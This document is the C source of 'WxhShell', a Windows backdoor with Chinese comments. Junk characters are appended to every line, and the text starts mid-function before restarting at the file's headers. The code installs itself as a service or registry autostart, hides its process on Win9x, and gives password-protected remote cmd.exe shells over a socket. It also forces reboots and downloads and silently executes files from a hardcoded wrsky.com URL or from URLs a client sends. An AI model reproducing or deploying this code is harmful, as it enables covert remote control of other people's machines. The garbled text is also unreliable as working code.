    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H O^3v34ZO  
    else { ~{#$`o=  
    closesocket(wsh); >t[beRcR6  
    ExitThread(0); C+*qU  
    } U5 `h  
    break; qfO=_z ES  
    } ^1a/)Be{_  
  // 获取shell PY4RwN  
  case 's': { ad\?@>[ I  
    CmdShell(wsh); 2 kOFyD  
    closesocket(wsh); ^V DJGBk  
    ExitThread(0); n~1'M/wh  
    break; LDj'L~H  
  } wkn r^A  
  // 退出 ElAho3 W  
  case 'x': { I^M %+\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); q(i^sE[y  
    CloseIt(wsh); hmA$gR_  
    break; *H"IW0I  
    } @} nI$x.  
  // 离开 S~ dD;R  
  case 'q': { #Ub"Ii  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wD|3Czc  
    closesocket(wsh); *4i)aj  
    WSACleanup(); Zu4|1 W  
    exit(1); L|y4u;-Q  
    break; F{:ZHCm  
        } 0XrB+nt  
  } b7 pD#v  
  } X5@S LkJ-`  
^w0V{qF{  
  // 提示信息 [79 eq=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (,5oqU9s@  
} O'6zV"<P  
  } p.r \|  
DFgr,~  
  return; uHBEpqC%  
} ZP@or2No%  
Q9(J$_:  
// shell模块句柄 *]ROUk@K=  
int CmdShell(SOCKET sock) bv.DW,l%'  
{ Q?f%]uGFQ  
STARTUPINFO si; ugtzF  
ZeroMemory(&si,sizeof(si)); }Yi)r*LI3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dmq<vVxC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wq|~[+y  
PROCESS_INFORMATION ProcessInfo; RL|13CG OP  
char cmdline[]="cmd"; p!+7F\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S?X2MX  
  return 0; dQoZh E  
} Uoskfm  
Wq bfZx  
// 自身启动模式 g/)$-Z)Nu  
int StartFromService(void) }PZz(Ms  
{ -#=y   
typedef struct .k{omr&Dy5  
{ <b-BJ2],k  
  DWORD ExitStatus; \JJ>y  
  DWORD PebBaseAddress; 2v!ucd}  
  DWORD AffinityMask; A)5-w`1  
  DWORD BasePriority; 3Y\7+975m  
  ULONG UniqueProcessId; hjuzVOE|W  
  ULONG InheritedFromUniqueProcessId; )V!9/d  
}   PROCESS_BASIC_INFORMATION; r52X}Y  
'~dE0ohWb  
PROCNTQSIP NtQueryInformationProcess; K3eYeXV  
MA:2]l3e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Hpo/CY/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0-)D`s%  
$ae*3L>5M  
  HANDLE             hProcess; 9n$0OH /q  
  PROCESS_BASIC_INFORMATION pbi; '64&'.{#>r  
>28.^\?H4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GZL{~7n  
  if(NULL == hInst ) return 0; J`6X6YZ  
~~U2Sr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?e? mg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hx}K w S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $rB20!  
dx=\Pq  
  if (!NtQueryInformationProcess) return 0; }3tbqFiH  
|!r.p_Zt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N=qe*Rlf  
  if(!hProcess) return 0; vYh_<Rp5  
NF& ++Vr6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5zebH  
%5X}4k!p  
  CloseHandle(hProcess); go, Hfb  
N4 O'{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :!omog  
if(hProcess==NULL) return 0; ,/.U'{  
jTNfGu0x  
HMODULE hMod; GCxtWFXH  
char procName[255]; o<`)cb }  
unsigned long cbNeeded; Sz\"*W;>  
@w1@|"6vF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); | v? pS  
DRldRm/  
  CloseHandle(hProcess); j8@ Eqh  
RU>Hr5ebo  
if(strstr(procName,"services")) return 1; // 以服务启动 p_!;N^y.  
O<3i6   
  return 0; // 注册表启动 PZ/gD  
} %G%##wv:  
^!]Hm&.a  
// 主模块 +ahr-v^R<  
int StartWxhshell(LPSTR lpCmdLine) MC.,n$O}6  
{ $}d| ~q\  
  SOCKET wsl; RP]hW{:U  
BOOL val=TRUE; 1vcI`8%S+u  
  int port=0; ILt95l  
  struct sockaddr_in door; UOn L^Z}  
qp(F}@  
  if(wscfg.ws_autoins) Install(); *}9i@DP1,  
q&IO9/[dk  
port=atoi(lpCmdLine); 20hF2V  
sSLs%)e|:  
if(port<=0) port=wscfg.ws_port; c5uT'P"  
2#4_ /5(j*  
  WSADATA data; a8T<f/qW k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (fgX!G[W  
O_*(:Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !B==cNq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xF)AuGdp\  
  door.sin_family = AF_INET; !XjvvX"j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )k F/"'o  
  door.sin_port = htons(port); Z, Kbt  
CPq{M.B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <!.'"*2  
closesocket(wsl); - b>"2B?  
return 1; 8uyUvSB  
} bl|k6{A  
z/*nY?  
  if(listen(wsl,2) == INVALID_SOCKET) { Si<9O h  
closesocket(wsl); fH.:#O:  
return 1; %K^l]tWa@  
} \Nc/W!r*9  
  Wxhshell(wsl); dw)SF,  
  WSACleanup(); %?^T^P  
$|v_ pjUu]  
return 0; Lm<"W_  
||y5XXs  
} 9X8{"J  
9Vx2VjK2'  
// 以NT服务方式启动 IVYWda0m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QDlEby m  
{ o56_t{<  
DWORD   status = 0; ~mc7O  
  DWORD   specificError = 0xfffffff; ?3!"js B  
iw6qNV:\Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W G2 E3y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JZp*"UzQr  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )^UM8 s  
  serviceStatus.dwWin32ExitCode     = 0; \H$Ps9Xh  
  serviceStatus.dwServiceSpecificExitCode = 0; OL]^4m  
  serviceStatus.dwCheckPoint       = 0; \F%5TRoC  
  serviceStatus.dwWaitHint       = 0; iw<#V&([ J  
@ViJJ\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [h8j0Q@Q  
  if (hServiceStatusHandle==0) return; N=K|Nw  
v*%#Fp,g8  
status = GetLastError(); LTu cs }  
  if (status!=NO_ERROR) 03*` T  
{ >_QC_UX>4i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qu[ ~#  
    serviceStatus.dwCheckPoint       = 0; Gx ?p,Fj  
    serviceStatus.dwWaitHint       = 0; q/xMM `{  
    serviceStatus.dwWin32ExitCode     = status; D%v4B`4ua'  
    serviceStatus.dwServiceSpecificExitCode = specificError; !dB {E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ \tI9L?|A  
    return; -;_`>OU{  
  } ` bd  
>9c$2d|>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]!J 6S.@#+  
  serviceStatus.dwCheckPoint       = 0; @SA*7[?P  
  serviceStatus.dwWaitHint       = 0; OKfJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8~?3: IZ  
} yc5C`r+6  
4 vwa/?  
// 处理NT服务事件,比如:启动、停止 >{i/LC^S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xwa5dtcng  
{ ;crQ7}k  
switch(fdwControl) ;bVC7D~~4w  
{ ig:/60Z  
case SERVICE_CONTROL_STOP: ]gYnw;W$  
  serviceStatus.dwWin32ExitCode = 0; 2Yt#%bj7^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5EDN 9?a  
  serviceStatus.dwCheckPoint   = 0; W B)<B  
  serviceStatus.dwWaitHint     = 0; WO W4c&  
  { 3jPua)=p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5T;M,w6DV  
  } ;cl\$TDL  
  return; Uw^`_\si  
case SERVICE_CONTROL_PAUSE: 2g1[ E_?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /5 Wy) -  
  break; a'w~7y!}  
case SERVICE_CONTROL_CONTINUE: R6HMi#eF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R6~x!  
  break; I%^Ks$<"  
case SERVICE_CONTROL_INTERROGATE: ^"\ jIP  
  break;  t4pc2b  
}; D.o|pTZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }fnp}L  
} kf+]bV  
XnrOC|P$  
// 标准应用程序主函数 D/jB .  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?P[uf  
{ Z^,C><Yt  
9ctvy?53H  
// 获取操作系统版本 fk4s19;?  
OsIsNt=GetOsVer(); IbC(/i#%`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y 3r m')c  
IlsXj`!e  
  // 从命令行安装 O{a<f7 W  
  if(strpbrk(lpCmdLine,"iI")) Install(); pfgFHNH:  
{.$5:<8aC  
  // 下载执行文件 ,wE]:|`qJ  
if(wscfg.ws_downexe) { 8<M'~G%CEq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mh]'/C_*<w  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?-0k3  
} %)T>Wn%b]v  
;4tVFqR  
if(!OsIsNt) { +[*VU2f t  
// 如果时win9x,隐藏进程并且设置为注册表启动 }\}pSqW  
HideProc(); `E>HpRcxD  
StartWxhshell(lpCmdLine); L<!}!v5ja  
} :#58m0YLA:  
else V{;!vt~  
  if(StartFromService()) Xu`c_  
  // 以服务方式启动 F+Rtoq|  
  StartServiceCtrlDispatcher(DispatchTable); 8*3o 9$Pj  
else pDb5t>  
  // 普通方式启动 'gk.J  
  StartWxhshell(lpCmdLine); \bqIe}3V7  
PHl{pE*  
return 0; &=H{ 36i@  
} %"PG/avo  
s42M[BW]  
.GUm3b  
!/+ZKx("9  
=========================================== o9ZHa  
GVk&n"9kp  
:@)UI,  
/ PG+ s6  
Mg;%];2Nt  
$Z6g/bD`E  
" 8A}w}h  
%eWzr  
#include <stdio.h> #pu6^NTK  
#include <string.h> !!Z#'Wq  
#include <windows.h> XJy~uks,  
#include <winsock2.h> CI"7* z_  
#include <winsvc.h> "OF4#a17  
#include <urlmon.h> lP& 7U  
:8aa#bA  
#pragma comment (lib, "Ws2_32.lib") Vy0s%k  
#pragma comment (lib, "urlmon.lib") M*FUtu  
GZ0? C2\  
#define MAX_USER   100 // 最大客户端连接数 t!RR5!  
#define BUF_SOCK   200 // sock buffer >c%OnA,3  
#define KEY_BUFF   255 // 输入 buffer W[BZ/   
)=l~XV  
#define REBOOT     0   // 重启 jY%&G#4  
#define SHUTDOWN   1   // 关机 6nh!g  
|niYN7 17  
#define DEF_PORT   5000 // 监听端口 dfY(5Wc+f  
Z"PPXv-<jY  
#define REG_LEN     16   // 注册表键长度 0X@!i3eu  
#define SVC_LEN     80   // NT服务名长度 >(mp$#+w  
WZO8|hY  
// 从dll定义API Pe6}y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \7PPFKS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q\Dx/?g!vx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '?dO[iQ$:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D+ mZ7&L  
tJ[yx_mf  
// wxhshell配置信息 YXI_ '  
struct WSCFG { KBJw7rra  
  int ws_port;         // 监听端口 pSp/Qpb-B  
  char ws_passstr[REG_LEN]; // 口令 wBZ=IMDu\  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1O@ qpNm  
  char ws_regname[REG_LEN]; // 注册表键名 k#Qav1_  
  char ws_svcname[REG_LEN]; // 服务名 bA}9He1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4-;"w;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1Q\P] -  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :8b{|}aYV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {T4F0fu[eR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O 4zD >O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zaWy7@?  
Klfg:q:j+b  
}; NRu _6~^^  
eKjmU| H  
// default Wxhshell configuration .j?`U[V%a  
struct WSCFG wscfg={DEF_PORT, ws8@y r<R  
    "xuhuanlingzhe", abiZ"?(  
    1, j8n_:;i*  
    "Wxhshell", `)V1GR2 ES  
    "Wxhshell", -n&g**\w  
            "WxhShell Service", e$]`  
    "Wrsky Windows CmdShell Service", 8* 7t1$  
    "Please Input Your Password: ", .4on7<-a  
  1, <=.0 P/N  
  "http://www.wrsky.com/wxhshell.exe", Pyh+HD\  
  "Wxhshell.exe" F5UvD[i  
    }; ]v^/c~"${  
fy+fJ )4sj  
// 消息定义模块 mdjPK rF<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &*2\1;1tB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; biAI*t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AsFn%8_I  
char *msg_ws_ext="\n\rExit."; _CqVH5U?  
char *msg_ws_end="\n\rQuit."; oSVo~F  
char *msg_ws_boot="\n\rReboot..."; @>`+eg][?P  
char *msg_ws_poff="\n\rShutdown..."; nOq?Q  
char *msg_ws_down="\n\rSave to "; PL$*)#S"$  
*D`]7I~}  
char *msg_ws_err="\n\rErr!"; tLCu7%P>  
char *msg_ws_ok="\n\rOK!"; O~ a`T  
j>j Zg<}J  
char ExeFile[MAX_PATH]; J{>9ctN  
int nUser = 0; )9/.K'o,dy  
HANDLE handles[MAX_USER]; p3tu_If  
int OsIsNt; hOYm =r  
9R_2>BDn  
SERVICE_STATUS       serviceStatus; k1tJ$}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X&C&DTB  
j("$qp v  
// 函数声明 vJZ0G:1  
int Install(void); 8vQGpIa,  
int Uninstall(void); \H<gKZquR  
int DownloadFile(char *sURL, SOCKET wsh); >,c$e' h  
int Boot(int flag); -7MR2)U  
void HideProc(void); ^n8ioL\*i  
int GetOsVer(void); AI KLJvte  
int Wxhshell(SOCKET wsl); -& Qm"-?:  
void TalkWithClient(void *cs); MJ5Ymt a  
int CmdShell(SOCKET sock); FY;\1bt<<  
int StartFromService(void); MTBHFjXO  
int StartWxhshell(LPSTR lpCmdLine); k3[rO}>s  
)Ve-)rZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #,dNhUV#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?%RAX CK  
be&5vl  
// 数据结构和表定义 ;+v5li  
SERVICE_TABLE_ENTRY DispatchTable[] = Vb{5-v ;a  
{ [zXKS |  
{wscfg.ws_svcname, NTServiceMain}, % 8c <C  
{NULL, NULL} V11(EZJ/j  
}; NUxOU>f  
1.S7MSpTV  
// 自我安装 j,<3[  
int Install(void) W,sU5sjA  
{ D5]AL5=Xt2  
  char svExeFile[MAX_PATH]; +'fy%/  
  HKEY key; w Vegr  
  strcpy(svExeFile,ExeFile); 0|6]ps4Z7  
JFAmND;+  
// 如果是win9x系统,修改注册表设为自启动 5\\#kjjx  
if(!OsIsNt) { mjgwU8'![  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7D'-^#S5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k+-IuO  
  RegCloseKey(key); mCM7FFl I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b1+6I_u.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H~Z$pk%  
  RegCloseKey(key); ` =ocr8c  
  return 0; v[$-)vs*ag  
    } C]@v60I  
  } Zl,c+/  
} }"} z7Xb0  
else { So?.V4aD_  
'u9,L FO  
// 如果是NT以上系统,安装为系统服务 8H2zM IB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3k YVk  
if (schSCManager!=0) N$'/J-^  
{ 0*e)_l!  
  SC_HANDLE schService = CreateService oJ\)-qSf  
  ( (CUrFZT$  
  schSCManager, 1Yr&E_5/  
  wscfg.ws_svcname, z+@ CzHCN  
  wscfg.ws_svcdisp, yH`4 sd  
  SERVICE_ALL_ACCESS, ZtzSG@f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QuF76&)7  
  SERVICE_AUTO_START, X?6E0/r&9  
  SERVICE_ERROR_NORMAL, +SM&_b  
  svExeFile, 9gu$vF]9!  
  NULL, w$5~'Cbi  
  NULL, !v/j*'L<M}  
  NULL, [cJQ"G '  
  NULL, %62W[Oh5  
  NULL $O\I9CGr$  
  ); >Xz=E0;^Ua  
  if (schService!=0) |\HYq`!g%7  
  { ~Te9Lq|  
  CloseServiceHandle(schService); WUC-* (  
  CloseServiceHandle(schSCManager); `2WtA_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^Rel-=Z$B  
  strcat(svExeFile,wscfg.ws_svcname); ^{ Kj{M22  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rTJ='<hIy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wEQ7=Gyx  
  RegCloseKey(key); M<Gr~RKmAn  
  return 0; 8 `\^wG$W  
    } i|`b2msvd  
  } Sf_q;Ws  
  CloseServiceHandle(schSCManager); 24Y8n  
} 8S8^sP  
} [{s 1= c  
4[\$3t.L  
return 1; iCz0T,  
} q,e{t#t  
nqp:nw  
// 自我卸载 /mdPYV  
int Uninstall(void) #F>7@N:5  
{ <5 Ye')+  
  HKEY key; os :/-A_m  
]^f7s36  
if(!OsIsNt) { 8|-j]   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oK-T@ &-  
  RegDeleteValue(key,wscfg.ws_regname); S%NS7$`a  
  RegCloseKey(key); jruXl>T!U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6[b?ckvi  
  RegDeleteValue(key,wscfg.ws_regname); Y 6NoNc]h  
  RegCloseKey(key); SH oov  
  return 0; su?{Cj6*  
  } 96V@+I  
} ym\AVRO{  
} 8LI aN}  
else { dwH8Zg$B  
T9s$IS,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |E& F e8  
if (schSCManager!=0) g431+O0K1  
{ \t pJ   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b 8vyJb,K  
  if (schService!=0) -dj9(~?^  
  { ]q,5'[=~4h  
  if(DeleteService(schService)!=0) { Lc&LF*  
  CloseServiceHandle(schService); /*V:Lh  
  CloseServiceHandle(schSCManager); 2s^9q9NS"  
  return 0; gY],U4_:p  
  } 2#srecIz-!  
  CloseServiceHandle(schService); Qkk3>{I  
  }  +*W9*gl  
  CloseServiceHandle(schSCManager); 3 s@6pI  
} ^)JUl!5j]C  
} |8QXjzH  
2H,^i,  
return 1; sIVVF#0}]  
} .Mn_T*F  
z~O#0Q !  
// 从指定url下载文件 v?s]up @@h  
int DownloadFile(char *sURL, SOCKET wsh) t K $r_*  
{ N5ph70#y3  
  HRESULT hr; 3SI~?&HU!/  
char seps[]= "/"; "7> o"FQ  
char *token; .5S< G)Ja  
char *file; rE&` G[(b  
char myURL[MAX_PATH]; T<jo@z1UL  
char myFILE[MAX_PATH]; D.!ay>o0#  
5B|&+7dCw  
strcpy(myURL,sURL); P!6 v0ezN  
  token=strtok(myURL,seps); G{ |0}  
  while(token!=NULL) *A^j>lV  
  { S= NGJ 0  
    file=token; 31y>/*}  
  token=strtok(NULL,seps); nnzfKn:J  
  } jfLkp>2E'  
|D@/4B1P  
GetCurrentDirectory(MAX_PATH,myFILE); #hKaH -j  
strcat(myFILE, "\\"); B-R& v8F  
strcat(myFILE, file); "k;j@  
  send(wsh,myFILE,strlen(myFILE),0); )}Vb+  
send(wsh,"...",3,0); lmsO 6=I4F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fGwRv% $^  
  if(hr==S_OK) O_E\(So  
return 0; z1K}] z%  
else a>05Yxw  
return 1; =6sA49~M  
+i\ +bR  
} q7z;bA  
7Gos-_s  
// 系统电源模块 >V01%fLd  
int Boot(int flag) I^u$H&  
{ !,SGKLs.m  
  HANDLE hToken; A"Prgf eT  
  TOKEN_PRIVILEGES tkp; Fm{/&U^  
4s:S_Dw  
  if(OsIsNt) { @|=JXSr!KY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X\=m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]-rhc.Gk@1  
    tkp.PrivilegeCount = 1; ym]12PAU5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5PcN$r"P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MV(Sb:RZ  
if(flag==REBOOT) { fwN'5ep  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6Mh;ld@  
  return 0; F2N)|C<  
} $ ]fautQlt  
else { GKk> ;X-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 96VJE,^h  
  return 0; ~!Ar`= [  
} 8et*q3D7`  
  } brdfj E8  
  else { , GU|3  
if(flag==REBOOT) { ~Z{IdE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ( !THd  
  return 0; 'XbrO|%  
} E7CeE6U  
else { I6.!0.G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (V06cb*42[  
  return 0; 7\T~K Yb?  
} .5tE, (<?  
} Uo~-^w}  
q n6ws  
return 1; mY'c<>6t  
} aFbIJm=!  
3IlflXb  
// win9x进程隐藏模块 q^I/  
void HideProc(void) h1A/:/_M6  
{ pBbfU2p  
$:4* ?8 K2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2#XYR>[  
  if ( hKernel != NULL ) Jc3Z1Tt  
  { hoDE*>i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d3IMQ_k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2_i9 q>I  
    FreeLibrary(hKernel); j "^V?e5  
  } 2!Gb4V  
AeZ__X  
return; /uNgftj  
} W5f|#{&L:  
lQq&tz,  
// 获取操作系统版本 Eq\PSa=gz  
int GetOsVer(void) .boBo$f  
{ 6^Q/D7U;s  
  OSVERSIONINFO winfo; a*D])Lu[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XMLJ X~  
  GetVersionEx(&winfo); \ y^Ho1Fj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }JWLm.e  
  return 1; k0/S&e,*  
  else \-h%z%{R  
  return 0; MT3TWWtZ:  
} f6*6*=  
HtN!Hgpwg  
// 客户端句柄模块 -aV!ZODt  
int Wxhshell(SOCKET wsl) A><q-`bw  
{ 6F)^8s02h  
  SOCKET wsh; $GI jWlAh  
  struct sockaddr_in client; Pw :{  
  DWORD myID; c9 7?+Y^  
Hd8 O3_5  
  while(nUser<MAX_USER) eF06B'uL  
{ 2BGS$$pP  
  int nSize=sizeof(client); rZi\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rYP72<   
  if(wsh==INVALID_SOCKET) return 1; `zw^ WbCO{  
Ocp`6Fj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oZ!1^o3V  
if(handles[nUser]==0) ElK7jWJ+  
  closesocket(wsh); `p'(:W3a  
else tW8&:L,m  
  nUser++; lR8Lfa*/7  
  } jI;iTKjB(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "dItv#<:}  
|GLh|hr  
  return 0; z5_#]:o&  
} gd,3}@@SH  
T!F0_<  
// 关闭 socket YPU*T&~  
void CloseIt(SOCKET wsh) N+3]C9 2o  
{ Y48MCL  
closesocket(wsh); 2|re4  
nUser--; n5G|OK0,  
ExitThread(0); >%?kp[  
} .:U`4 ->E  
s{:l yp  
// 客户端请求句柄 s-[v[w'E  
void TalkWithClient(void *cs) <=g{E-  
{ |3:e$  
NU <K+k  
  SOCKET wsh=(SOCKET)cs; .IkQo`_s:  
  char pwd[SVC_LEN]; {}A1[ Y|  
  char cmd[KEY_BUFF]; 'Y;M%  
char chr[1]; @,i_Gw)  
int i,j; U%?  
Al0ls  
  while (nUser < MAX_USER) { `J v~.EF%  
>[A7oH  
if(wscfg.ws_passstr) { .G~Y`0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _s%;GWj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [WXa]d5Y  
  //ZeroMemory(pwd,KEY_BUFF); yOdh?:Imv  
      i=0; uA]!y{"}J  
  while(i<SVC_LEN) { ^fq^s T.$  
v{44`tR   
  // 设置超时 [/+}E X  
  fd_set FdRead; t)__J\xF  
  struct timeval TimeOut; Ui43&B  
  FD_ZERO(&FdRead); {S6:LsFfm  
  FD_SET(wsh,&FdRead); *]#(?W.$w  
  TimeOut.tv_sec=8; !*1Kjg3  
  TimeOut.tv_usec=0; >DSD1i+N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d&x #9ka  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,ej89  
a^xt9o`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y~Ts9AE  
  pwd=chr[0]; " R5! VV  
  if(chr[0]==0xd || chr[0]==0xa) { >K@Y8J+ e#  
  pwd=0; .gP}/dj  
  break; ;+3XDz v  
  } 7+2DsZ^6MW  
  i++; KM:k<pvi  
    } v\}s(X(J  
>oHgs  
  // 如果是非法用户,关闭 socket Q?xCb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q,% lG$0v  
} g-8D1.U  
(/;<K$u*h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B(t`$mC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AC}[Q p!  
vP. ^j7wB  
while(1) { \&jmSa=]l  
pj9*$.{  
  ZeroMemory(cmd,KEY_BUFF); ] i:WP2  
(aUdPo8H^  
      // 自动支持客户端 telnet标准   d [f,Nu'  
  j=0; aJ3.D  
  while(j<KEY_BUFF) { }c?W|#y`.o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _rakTo8BY  
  cmd[j]=chr[0]; C>=[fAr mO  
  if(chr[0]==0xa || chr[0]==0xd) { ;Im%L=q9GL  
  cmd[j]=0; A1p87o>  
  break; $9@jV<Q1  
  } ]; Z[V  
  j++; <oKoz0!  
    } 8ZN"-]*  
!+H)N  
  // 下载文件 >X58 zlxk  
  if(strstr(cmd,"http://")) { `iZ){JfAH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WFm\ bZ.  
  if(DownloadFile(cmd,wsh)) =#so[Pd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); LLD#)Jl{?  
  else 7) zF8V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xN +Oca  
  } 0Bn35.K  
  else { ZFFKv  
aUYq~E tj  
    switch(cmd[0]) { ,>Yl(=&  
  4^3lG1^YY  
  // 帮助 \ 3XG8J  
